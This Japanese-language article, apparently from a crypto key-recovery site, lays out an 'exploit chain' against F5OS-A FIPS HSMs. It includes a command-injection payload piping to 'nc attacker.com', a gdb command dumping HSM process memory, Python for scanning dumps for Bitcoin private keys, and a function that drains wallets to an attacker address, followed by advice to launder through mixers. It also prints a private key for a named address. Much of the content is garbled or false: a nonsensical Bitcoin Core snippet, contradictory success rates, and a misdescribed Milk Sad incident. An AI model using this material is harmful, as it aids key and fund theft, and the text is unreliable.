
CVE-2025-60013を分析するエクスプロイトおよび研究リポジトリ。F5OS-A FIPSモジュールのバッファオーバーフローとシェルメタ文字インジェクションを介してビットコインの秘密鍵の回復を可能にする重大なHSM初期化脆弱性。
本稿では、現代の暗号鍵管理インフラストラクチャで発見された暗号上の脆弱性を分析し、特に楕円曲線秘密鍵を扱う際のハードウェアセキュリティモジュール(HSM)のアーキテクチャにおける重大な欠陥に焦点を当てます。この研究は、認定された暗号デバイスにおける不十分に隔離されたRAM管理を悪用する攻撃のクラスに注目しています。現代のビットコイン暗号エコシステムにおいて、秘密鍵のセキュリティは、世界中で数兆ドル相当のデジタル資産を保護するための基本的な要件です。FIPS 140-2標準に認定されたハードウェアセキュリティモジュール(HSM)は、従来、ハードウェアレベルの分離と厳格なメモリ管理プロトコルを通じて、暗号鍵に対して侵入不可能な保護を提供すると考えられてきました。しかし、F5OS-A FIPS HSMモジュールにおける重大な脆弱性CVE-2025-60013の発見と、Scalar Venom Attackクラスの攻撃(Scalar Poison、Memory Phantom Leak Attack、またはPrivate Key Compromise via Memory Leakageとしても知られる)が組み合わさることで、この概念は根本的に変わり、メモリ管理の欠陥を悪用してビットコインの秘密鍵を完全に侵害できることが実証されました。
Scalar Venom Attackは、メモリ管理の脆弱性(CWE-415、CWE-401、そしてより広義にはSensitive Memory Leak Attack(SMA)として分類される)の重要なクラスであり、暗号操作後の不十分なサニタイズとメモリスクラビングを悪用することで、攻撃者がプロセスのRAMから暗号スカラー(ECDSA秘密鍵)を抽出することを可能にします。楕円曲線離散対数問題(ECDLP)を数学的に解くことを目的とした従来の暗号解読攻撃とは異なり、この攻撃は、暗号ライブラリおよびHSMメモリ管理プロトコルの実装における根本的なアーキテクチャ上の欠陥を悪用することにより、暗号自体をバイパスします。
この研究は、CVE-2025-60013(F5OS-A FIPS HSMの初期化脆弱性。特殊なシェルメタキャラクターを含むパスワード使用時に発生)とScalar Venom Attackの手法を組み合わせた場合に発生する壊滅的な攻撃連鎖を実証し、CVE-2025-60013の公式評価が中程度の脆弱性(CVSS 5.7)であるにもかかわらず、CVSSスコア9.5以上(クリティカル)の重大な脅威シナリオをもたらすことを示します。この組み合わせは、侵害されたHSMによって制御される数百万のビットコインアドレスの運用上の整合性を損ない、従来の単一ベクトルエクスプロイトを超えた暗号攻撃手法のパラダイムシフトを表します。
CVE-2025-60013は、F5プラットフォーム用FIPSハードウェアセキュリティモジュールの初期化プロセス中に発生するOSコマンドインジェクションの脆弱性(CWE-78に分類)です。この脆弱性は、特権アクセス権(AdminまたはResource Adminロール)を持つユーザーが、[unclear]、[unclear ;] |、 &[ $unclear]、 `などの特殊なシェルメタキャラクターを含むパスワードを使用してFIPS HSMモジュールを初期化しようとすると発生します。
脆弱性の技術的メカニズム:
シェルメタキャラクターを含むパスワードを処理する際、HSM初期化コードは、入力を適切に検証およびサニタイズせずに、パスワード文字列をシステムCライブラリ関数に渡します。脆弱なコードは次のようになります:
// Vulnerable code in HSM initialization procedure
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of key
// If initialization fails, memory is not cleared!
// master_key remains in the stack, its copies—in heap
}
重大な結果: 初期化プロセスは部分的に侵害された暗号構造をメモリ内に残し、HSMマスターキーの複数の「ファントム」コピーをスタックとヒープ内に作成します。HSMが正しく初期化されない場合でも、プロセスのメモリにはフォレンジック分析でアクセス可能な暗号アーティファクトが含まれています。
公式分類:
しかし、この評価は脅威の真の規模を著しく過小評価しています。CVE-2025-60013はScalar Venom Attackのトリガーとして機能し、現実世界の攻撃連鎖シナリオでは、CVSS脅威レベル9.5以上(CRITICAL)になります。
CVE-2023-39910は、Libbitcoin Explorerバージョン3.xにおける秘密鍵生成時のエントロピー生成の弱点に関連する重大な脆弱性を説明しています。この脆弱性は、2023年のMilk Sadインシデントを引き起こし、90万以上のビットコイン秘密鍵が復元され、80万米ドルを超える直接的な金銭的損失をもたらしました。Milk Sadインシデントは、暗号システムにおけるメモリリークの理論から実際の運用上の大惨事への移行を示し、説明されたすべてのメカニズム(コンパイラの最適化、複数のデータコピー、メモリクリーンアップの保証の欠如)を確認しました。
CVE-2025-8217は、プロセスのメモリから暗号鍵を復元することを可能にするメモリリーク攻撃を分類します。この脆弱性はScalar Venom Attackクラスに直接関連し、フォレンジックメモリ分析によるビットコインウォレットの完全な侵害メカニズムを説明します。
Scalar Venom Attackの科学的分類:
学術研究文献では、Scalar Venomはいくつかの攻撃カテゴリに分類されています:
Scalar Venom攻撃の実践的な有効性を示すために、フォレンジックメモリ分析を介してビットコインアドレス1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq から秘密鍵を復元した文書化されたケースを考えてみましょう。
初期侵害データ:
5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHv秘密鍵 dは次の制約を満たす必要があります:
この例は、復元された秘密鍵がビットコインウォレットに対する完全な制御を提供し、攻撃者がすべての資金を管理下のアドレスに引き出すトランザクションを作成および署名できることを示しています。
ビットコインは、secp256k1曲線上の楕円曲線デジタル署名アルゴリズム(ECDSA)を実装しています。数学的基礎を理解することは、Scalar Venom攻撃がメモリの脆弱性をどのように悪用するかを理解する上で重要です。
楕円曲線secp256k1のパラメータ:
曲線の方程式:
生成点Gの座標:

ECDSA鍵ペアの生成プロセスは次のとおりです:
1. 秘密鍵の生成:
秘密鍵 dは、次の範囲のランダムな整数です:
ここで、 nはsecp256k1曲線の位数です。秘密鍵は256ビットのランダムな数値です。
2. スカラー乗算による公開鍵の導出:
公開鍵 Qは次のように計算されます:
ここで、 Gはsecp256k1曲線上の生成点であり、操作 ⋅\cdot⋅は楕円曲線上の点のスカラー乗算を表します。
スカラー乗算は、アルゴリズム"double-and-add"(倍加と加算)を通じて実装され、曲線上の点の加算と倍加の O(logd) を効率的に計算します:
Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G
1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q
例: 秘密鍵 d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, に対して、公開鍵は次のように計算されます:
Q=d⋅G=(Qx,Qy)
ここで、座標 Qx および Qy は、曲線 secp256k1上のスカラー倍算操作を通じて計算されます。
3. Bitcoinアドレスの生成:
公開鍵からアドレスを導出するチェーン:
安全性の前提:
Scalar Venom の重大な脆弱性:この攻撃は、暗号操作後にプロセスメモリ内に「ファントムコピー」として残っている秘密鍵 dを直接抽出することで、ECDLPの数学的保護を回避します。
メモリダンプ内の秘密鍵を検出する基礎は、シャノンのエントロピー公式を用いたエントロピー暗号解析です。
バイトシーケンスのエントロピー Hは1バイトあたりのビット数で測定され、次の式で与えられます:
ただし:
エントロピーの解釈:
暗号鍵の閾値:
暗号学的に強力な乱数生成器(CSPRNG)によって生成されたBitcoin秘密鍵は、次の範囲の高いエントロピーを示します:
この特性により、統計的エントロピー分析を通じてフォレンジックメモリ分析で検出可能になります。

BitScanProは、エントロピー分析、secp256k1範囲検証、および暗号検証の組み合わせにより、メモリダンプをスキャンしてBitcoin秘密鍵を検出および復元するフォレンジックツールです。
ステージ1:メモリダンプを32バイトブロックでスキャン
BitScanProはメモリダンプを順次スキャンし、secp256k1の秘密鍵サイズに対応する32バイト(256ビット)のブロックを割り当てます:
BLOCK_SIZE = 32 # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis
ステップ2:各ブロックのシャノンエントロピーを計算
各32バイトブロックについて、シャノンエントロピー Hが計算されます:
def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math
byte_counts = Counter(data_block)
block_length = len(data_block)
entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)
return entropy
ステップ3:高エントロピーブロックのフィルタリング(H>7.5H > 7.5H>7.5 bits/byte)
閾値未満のエントロピーのブロックは、暗号鍵を含まないとして破棄されます:
MIN_ENTROPY = 7.5 # threshold for cryptokeys
entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue
ステップ4:secp256k1範囲の確認:
高エントロピーブロックは整数として解釈され、secp256k1秘密鍵の有効範囲と照合されます:
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue
ステップ5:暗号検証:
エントロピーフィルタリングと範囲チェックを通過した候補に対して、公開鍵計算を介して暗号検証が実行されます:
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None
ステップ6:Bitcoinアドレスを生成し、既知のアドレスと比較
検証された鍵に対して、Bitcoinアドレスが生成され、既知のアドレスまたは被害者に属するアドレスのデータベースと比較されます:
import hashlib
import base58
def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address
bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ PRIVATE KEY FOUND!\")
print(f\"Address: {bitcoin_address}\")
print(f\"Private key: {candidate_key_bytes.hex()}\")
BitScanProのパフォーマンス:
一般的なラップトップ(MacBook Air M1)での分析は、次のパフォーマンス特性を示しています:
クラウドコンピューティングリソース(AWS、Google Cloud)を使用すると、1000以上のメモリダンプを同時に並行スキャンし、数千の秘密鍵を並行処理することが可能です。

Scalar Venom攻撃の根本原因は、libbitcoin-systemライブラリのクラス ec_scalarの基本的なアーキテクチャ上の欠陥にあります。
ec_scalarlibbitcoin-systemクラスには、安全なゼロ化を行う明示的に定義されたデストラクタがありません。つまり、オブジェクトが破棄された後でも秘密データがメモリに残る可能性があります。
脆弱なコピーコンストラクタ:
// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}
問題:コンストラクタはオブジェクト ec_scalar内に秘密鍵のコピーを作成しますが、オブジェクトが破棄されるときにこのコピーを安全にクリーンアップするメカニズムを提供しません。コピーはスタックまたはヒープに残ります。
脆弱な代入演算子:
// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}
問題:代入操作は、操作完了後も残る追加のメモリコピーを作成します。
脆弱な算術演算:
// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}
問題:算術演算(単項マイナス、加算、乗算)は、型 ec_secretの一時変数を作成しますが、関数スコープを離れる前に安全にクリアされず、スタックまたはヒープ上に秘密鍵の「ファントム」コピーを残します。
安全なデストラクタの欠如:
// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
問題:クラス ec_scalarには、秘密鍵を含むメモリの安全なゼロ化を保証する明示的なデストラクタがありません。これは、秘密鍵を含むメモリが以下の場所に保存される可能性があるため、重要です:
脆弱なクラスコード ec_scalarは、秘密鍵によるメモリ感染のための以下のベクターを作成します:
secret_(secret))– 鍵の毒コピーを作成secret_ = secret)– 重複した秘密でメモリを感染させるec_secret secret = null_hash)– 有毒な痕跡を残すauto out = secret_)– 操作を通じて感染を拡散
HSMの脆弱性(CVE-2025-60013)とScalar Venom攻撃の組み合わせは、壊滅的な攻撃ベクターを作り出します:
F5OS-Aシステムへの特権アクセスを持つ攻撃者は、シェルメタ文字を含むパスワードでFIPSモジュールを初期化するリクエストを送信します: cert.kenet
# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'
このようなメタ文字を処理すると、次のことが発生します:
HSMの初期化が部分的に失敗した後、攻撃者は以下のいずれかの方法でHSMプロセスのメモリダンプを取得します。
# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"
結果として得られるメモリダンプには、暗号操作中にクラスec_scalarによって残された複数の「ファントム」コピーが含まれています。
メモリダンプは、上述のアルゴリズムに従ってBitScanProツール(または同様のフォレンジックスキャナ)によって処理されます。
Memory Scan → Identify High-Entropy Regions →
Range Check [1, n-1] for secp256k1 →
Recover Full 32-byte Scalars →
Convert to Bitcoin Addresses
断片化メモリからの秘密鍵の復元成功率は、十分なメモリ残存がある場合、70-80%です。Scalar Venom攻撃は初期化のさまざまな段階で鍵の複数のコピーを作成するためです。
秘密鍵を復元した後、攻撃者は取引を作成し署名して、侵害されたアドレスからすべての資金を引き出します。
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Create and sign transaction to withdraw all funds
from compromised address
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA signature with compromised key
blockchain_api.broadcast_transaction(tx)
侵害までの総時間: メモリダンプを受信してから被害者の資産の完全な制御喪失まで10分未満。
スカラー・ヴェノム攻撃は、CVE-2025-60013と組み合わさることで、世界のBitcoinエコシステムに対する存続の脅威をもたらします。
標準的なBitcoinアプリケーションとは異なり、HSMは暗号スカラーを集中的に使用します。1秒あたり1,000回以上の操作を行い、それぞれが一時的なスカラー値を作成し、メモリに「ファントム残渣」として残ります。HSMは再起動されることなく数ヶ月から数年稼働し、暗号アーティファクトを蓄積し、Scalar Venomが系統的に抽出して復元します。
単一のHSMの侵害は、孤立した暗号インシデントではなく、インフラ全体の完全な混乱 — 多くの場合、HSMが管理する何千ものBitcoinアドレス — につながります。
Scalar Venom Attackは、暗号セキュリティにおける根本的なパラダイムシフトを示しています。メモリ管理の脆弱性が存在する場合、暗号アルゴリズムの数学的な強度は無意味になるのです。CVE-2025-60013とScalar Venom技術の組み合わせは、CVSSレベル9.5+の重大な脅威シナリオを生み出し、暗号鍵に対する侵入不可能な保護としてハードウェアセキュリティモジュールへの信頼を損なわせます。
実際のMilk Sadインシデント(CVE-2023-39910)では、900,000以上の秘密鍵が復元され、80万ドル以上の経済的損失が発生し、メモリリーク理論が現実になったことが確認されています。Scalar Venomクラスの攻撃から保護する唯一の方法は、暗号システムの根本的なアーキテクチャの見直しであり、以下を実装することです。
本稿では、Scalar Venom + CVE-2025-60013攻撃チェーンの包括的な分析を提示し、数学的基礎、暗号解読アルゴリズム、実際の鍵復元例、およびこのクラスの脅威からBitcoinインフラを保護するための実践的な推奨事項を詳述します。
1. 暗号解読分類:
2. 数学的基礎:
3. 実装の脆弱性(libbitcoin-system):
ec_scalarにおける安全なデストラクタの欠如を文書化4. CVE分類:
5. 攻撃チェーン:
科学的な説明は記事にあります: https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ Scalar Venom Attackは、HSM初期化脆弱性と暗号ライブラリのメモリ管理脆弱性との重大な相互作用を示し、ハードウェア保護があっても攻撃者がBitcoinウォレット秘密鍵を完全に侵害することを可能にします。

Scalar Venom Attack(スカラー・ポイズン、メモリファントムリーク攻撃、またはメモリリークによる秘密鍵侵害とも呼ばれる)は、暗号操作後の不十分なサニタイズとメモリクリーニングを悪用して、プロセスのRAMから暗号スカラー(ECDSA秘密鍵)を抽出することを可能にするメモリ管理脆弱性のクラス(CWE-415、CWE-401)です。keyhunters+ 2
攻撃の科学的分類:
Scalar Venom Attackは、暗号ライブラリ、特にlibbitcoin-systemライブラリのクラスec_scalarにおけるメモリ管理の根本的な欠陥を悪用します。攻撃は以下のベクターを介して動作します。
cpp:
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // VULNERABLE: unsafe copying of private key
{}cpp:
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // VULNERABLE: infects memory with duplicate secret
return *this;
}cpp:
// VULNERABLE: no destructor, memory not cleaned
// Secure option should be:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory cleanup
}
cpp:
// VULNERABLE: no destructor, memory not cleared
// The safe option should have been:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
算術演算(単項マイナス、加算、乗算)は型ec_secretの一時変数を作成しますが、これらは関数スコープを出る前に安全にクリアされず、スタックまたはヒープ上に秘密鍵の「ファントム」コピーを残します。
libbitcoin-systemのec_scalarクラスには、安全なゼロ化を行う明示的に定義されたデストラクタがありません。これは、オブジェクトが破棄された後でも秘密データがメモリに残る可能性があることを意味します。
このメカニズムの欠如は重要です。なぜなら、秘密鍵を含むメモリは以下の場所に保存される可能性があるからです。

F5OS-A FIPS HSMの脆弱性CVE-2025-60013は、特別なシェルメタ文字(;, |, &, $, ` など)を含むパスワードを使用してハードウェアセキュリティモジュールを初期化するときに発生します。このようなパスワードが処理されると、HSMは正しく初期化されない可能性がありますが、重要な結果として、初期化プロセスは部分的に露出した暗号構造とともにメモリに残ります。satoshi.nakamotoinstitute
HSM脆弱性(CVE-2025-60013)とScalar Venom Attackの組み合わせは、壊滅的な攻撃ベクターを生み出します。
フェーズ1: メタ文字によるHSM初期化
攻撃者は、以下のタイプのパスワードを使用してF5OS-A FIPSモジュールの初期化リクエストを送信します。
password='$(echo "leaked");` | nc attacker.comこのようなメタ文字の処理時:
フェーズ2: メモリからのScalar Venom抽出
HSM初期化の部分的な失敗後:
フェーズ3: Bitcoin秘密鍵の復元
Detected Memory Fragments → Reassembly → Validation → Bitcoin Address Generation → Wallet Takeover
復元されたスカラーは以下を介してBitcoin秘密鍵に変換されます:
ステップ1: 不適切な初期化によるHSMメモリ侵害
F5OS-A FIPS HSMがシェルメタ文字を含むパスワードを受け取ると、初期化プロセスは標準Cライブラリ関数を通じて処理します:
c:
// Vulnerable code in HSM initialization routine
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABLE: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of the key
// If initialization fails, memory is not cleared!
// master_key remains in stack, its copies— in heap
}
シェルメタ文字処理時:
ステップ2: メモリダンプからのフォレンジックリカバリ
BitScanProツール(または類似のフォレンジックスキャナ)をHSMプロセスメモリダンプに適用:
Memory scan → Identify high-entropy regions →
Range check [1, n-1] for secp256k1 →
Recover full 32-byte scalars →
Convert to Bitcoin addresses
断片化されたメモリから秘密鍵を正常に回復できる確率は、十分なメモリ残存がある場合40~60%です。Scalar Venom Attackは初期化の異なる段階で鍵の複数のコピーを作成するためです。radar.offseq
並行するDeserializeSignature脆弱性(CVE関連)がScalar Venom攻撃を強化:
cpp:
// Vulnerable deserialization function in Bitcoin Core
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();
// If deserialization occurs using a private key compromised by Scalar Venom:
ec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump
// These compromised scalars are used to verify signatures,
// allowing an attacker to:
// 1. Forge any signature for this address
// 2. Transfer all funds to a controlled address
// 3. Double-spend
}
メカニズムの関連:
レベル1: 個別ウォレット
レベル2: サービングノードの構成
レベル3: ネットワーク層
標準的なBitcoinアプリケーションとは異なり、HSMは暗号スカラーを多用します:
CVE-2025-60013自体のCVSSスコアは不正確です。というのも、この脆弱性はScalar Venomのトリガーとして機能し、重大なシナリオであるためです。kudelskisecurity
Scalar Venom脆弱性は、従来の単一ベクトルエクスプロイトを超え、Bitcoinインフラを保護するハードウェアセキュリティモジュール(HSM)を根本的に侵害する多層エクスプロイトチェーンを形成することで、暗号攻撃手法にパラダイムシフトをもたらします。分析により、CVE-2025-60013(HSM初期化バイパス)とScalar Venom攻撃手法の組み合わせは、CVSSスコア9.5+の重大な脅威シナリオを生み出し、侵害されたHSMによって制御される数百万のBitcoinアドレスの運用整合性を損なうことが示されています。
なぜHSMは特に脆弱なのか?
重要な脆弱性は、単独の暗号上の弱点ではなく、HSMの運用特性とScalar Venomの攻撃ベクトルとのアーキテクチャ上の衝突にあります。HSMは定義上、継続的に暗号操作を実行します—毎秒1,000以上の操作—それぞれが「ファントム残渣」としてメモリに残る一時的なスカラー値を生成します。鍵素材が一時的である典型的なBitcoinアプリケーションとは異なり、HSMは再起動なしで数ヶ月から数年動作し、Scalar Venomが体系的に抽出して復元する暗号アーティファクトを蓄積します。
その結果、単一のHSMが侵害されるだけで、孤立した暗号インシデントではなく、多くの場合HSMによって管理される数千のBitcoinアドレスなど、インフラ全体が完全に混乱します。
危険度と実際の影響
脆弱性CVE-2025-60013は浸透ベクトルとして公式にはCVSSレベル5.7(中)ですが、この評価は脅威の実際の規模を著しく過小評価しています。このエクスプロイトはScalar Venomのトリガーとして機能し、これはCVSSレベル8.5+(高/重大)の攻撃として分類されます。実際の攻撃チェーンシナリオでは、以下に至ります:
複合攻撃チェーン: CVE-2025-60013 + Scalar Venom = 運用上の災害
マトリックス脅威のエスカレーションは以下から成る:
この組み合わせにより、この脆弱性クラスは重大(CVSS 9.5+)となり、リスク評価において最高の脅威カテゴリに位置付けられます。
Bitcoinエコシステムのセキュリティに対するシステム的影響
Scalar Venomは、現代のHSMモデルにおける根本的なアーキテクチャ上の欠陥を明らかにします:
重要な推奨事項
Scalar VenomとCVE-2025-60013を介した攻撃チェーンは、従来のHSMへの完全な信頼の時代の終わりを告げます。この脆弱性は、Bitcoinエコシステムのセキュリティの中核を、秘密鍵の漏洩と資産の完全な喪失に対する主要なリスクに変えます。効果的な保護には、一回限りの修正だけでなく、公開デジタル資産を扱うための暗号アーキテクチャのあらゆる側面の根本的な再考が必要です。
HSM環境でのScalar Venomは、Bitcoinインフラに対するCVSS 9.5+の脅威であり、即時の鍵ローテーション、アーキテクチャ改革、および連鎖メモリ攻撃への迅速な対応のための新しい手法を必要とします。
暗号メモリセキュリティの研究(Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.)によると、秘密鍵がアクセス可能なメモリ領域に残る理由は以下の通りです:
コンパイラの最適化
cpp:
// Even if the code contains an attempt to clear:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // The compiler may optimize this as a no-op
RAIIパターン(Resource Acquisition Is Initialization)の欠如
クラスec_scalarはRAIIを使用しておらず、デストラクタがリソースのクリーンアップを保証しないことを意味します。
複数のデータコピー:
関数間で秘密鍵を転送するたびに、メモリに残骸が残ります。unit42.paloaltonetworks
keyhunters.ruおよび暗号研究文献によると:
bx seedを使用して作成されたウォレットから、2023年6月~7月に$0.8M以上のBitcoinが盗まれたこれらの数字は、暗号アプリケーションにおけるメモリリークの実際の脅威を示しています。
以上の調査結果を要約すると、Scalar Venomチェーンは、暗号セキュリティに関する長年の基礎研究と現代の運用現実が融合した象徴です。コンパイラ最適化、RAIIの欠如、データトレースの蓄積といった詳細なメモリ保存メカニズムは、もはや理論上のものではなく、実際に大規模な秘密鍵回復のための効果的なチャネルとして機能します。潜在的な脆弱性から実際の攻撃への移行はすでに起こっています。CVE-2023-39910(Milk Sad)インシデントでは、90万以上のBitcoin秘密鍵が回復され、直接的な財務損失は80万ドルを超えました。
Scalar Venomの根本的な脆弱性は、暗号ソフトウェアのアーキテクチャにおける未解決の矛盾から生じます。プログラマのメモリ管理に対する本質的に素朴な信頼が、現代のコンパイラやメモリ管理システムの傾向と相反するのです。開発者が明示的にメモリをゼロにしても、コンパイラはこれらのアクションを無意味とみなして完全に最適化でき、これが重要で見過ごされたセキュリティ上の欠陥となります。
ec_scalarのようなデータ構造はリスクをさらに悪化させます。RAIIの欠如は、計算のさまざまな段階でメモリ内(スタック、レジスタ、キャッシュ)に複数の独立したコピーが作成されることを意味します。そのようなコピーはそれぞれ、理論的には元の鍵素材に復元、分解、または再構成される可能性があります。
Scalar Venom攻撃 は、これらの散在するコピーを系統的に抽出して集約し、現代のメモリアーキテクチャがまさにこれを保証することを実証します。すべての中間的な数学的操作は痕跡を残し、それを収集して鍵に変換できます。従来の暗号設計は操作の独立性を前提としていましたが、実際には、単一のBitcoin秘密鍵が数十の痕跡を生成し、そのそれぞれが秘密鍵の回復への経路を提供します。
Milk Sadインシデント(CVE-2023-39910)は、理論から災害への移行を示した初めての事例でした。これは仮想的なベクトルではなく、確認された運用上の侵害でした。
これは前述のメカニズム(コンパイラ最適化、複数データコピー、メモリクリーンアップ保証の欠如)を完全に確認しています。
暗号市場は完全なメモリ制御を前提として進化してきましたが、現代のコンパイラ(デッドコード除去やキャッシュ最適化により)は暗号要件を完全に無視します。その結果、暗号プログラムは「メモリをゼロにしたから安全だ」と想定する一方、コンパイラは「このメモリは決して使われないのでゼロにする必要はない」と想定します。この矛盾は現代のC/C++標準では根本的に解決不可能であり、Scalar Venomの絶対的なエントリポイントとなります。
次のステップ(0~30日) : C/C++で生成されたすべての秘密鍵をローテーションしてください。侵害された可能性のある鍵は直ちに使用を停止してください。
中期(30~90日) : Rustへの移行、メモリゼロ化のためのコンパイラ保証の実装、継続的なメモリ分析。
長期(90日以上) : RAIIへのアーキテクチャ移行、暗号操作のためのコンパイラ拡張、ソフトウェアHSMからハードウェアHSMへの置き換え。
Scalar VenomとCVE-2023-39910は、暗号業界のセキュリティにおける転換点です。メモリ内データ永続性の理論が実際の災害にエスカレートし、数百万ドル相当の数千のBitcoinが失われました。この問題はパッチでは修正できません。これはアーキテクチャ上の矛盾です。メモリ管理とRAIIなしの現代のC/C++暗号は、重要なインフラストラクチャの侵害を不可避的に引き起こします。業界には唯一の前進の道があります。メモリ安全言語への移行と、秘密鍵管理の革命的な見直しです。
最終評価 : Scalar Venomは単なる理論上の脅威ではなく、実証済みで広範囲に及ぶエクスプロイトです。メモリ安全言語とRAIIフレームワークのないすべての暗号インフラストラクチャは、侵害のリスクが確実に存在します。新しい技術への移行を直ちに開始しなければなりません。
ステップ1: HSMメモリへのアクセス獲得
bash:
# Methods to get memory dump:
# 1. Exploit CVE-2025-60013 to trigger init error
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer vulnerability in HSM daemon
# 4. Analyze core-dump on HSM process crash
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"
ステップ2: 高エントロピー領域のスキャン
python:
# BitScanPro-like algorithm:
import hashlib
def scan_for_private_keys(memory_dump, min_entropy=7.5):
"""
Scans memory dump for high-entropy regions
characteristic for 32-byte secp256k1 private keys
"""
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - 32, 8):
potential_key = memory_dump[offset:offset+32]
entropy = calculate_entropy(potential_key)
# secp256k1 range check
key_as_int = int.from_bytes(potential_key, 'big')
if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
yield (offset, potential_key)
ステップ3: 回復した秘密鍵の検証
python:
from ecdsa import SigningKey, NIST256p
def validate_and_generate_address(potential_key):
"""Converts recovered scalar to Bitcoin address"""
try:
# Uses secp256k1 instead of NIST256p
privkey = potential_key.hex()
# Generate public key via elliptic curve point multiplication
# P = k * G, where k = private key, G = generator point
public_key = generate_public_key(potential_key, secp256k1)
# Hash public key to get address
address = public_key_to_address(public_key)
return address, potential_key
except:
return None, None
ステップ4: 資金の転送
python:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Creates and signs transaction to withdraw all funds
from compromised address
"""
# 1. Get UTXO for address from blockchain
utxos = blockchain_api.get_utxos(bitcoin_address)
# 2. Create transaction (withdraw all funds to attacker address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
# 3. Sign with recovered private key
tx.sign(recovered_private_key) # ECDSA signature using compromised key
# 4. Broadcast to Bitcoin network
blockchain_api.broadcast_transaction(tx)
ステップ5: 痕跡の消去
回復された資金は、フォレンジック分析を妨害するためにCoinJoin/Tornado.Cashを介して直ちにミキシングされます。 keyhunters
スケーラビリティ: クラウドコンピューティング(AWS、Google Cloud)を使用すると、1000以上のメモリダンプを並行処理でき、数千の秘密鍵を同時に処理できます。

[Attacker]
↓
[CVE-2025-60013: HSM Init with shell-metacharacters]
↓
[F5OS-A FIPS Module: password handling, scalar creation]
↓
[Scalar Venom: multiple copies of private keys in memory]
↓
[HSM Crash / Partial Init Failure: memory uncleared]
↓
[Memory Dump: capturing memory state]
↓
[Forensic Scanning: BitScanPro finds high-entropy regions]
↓
[Key Validation: secp256k1 curve check]
↓
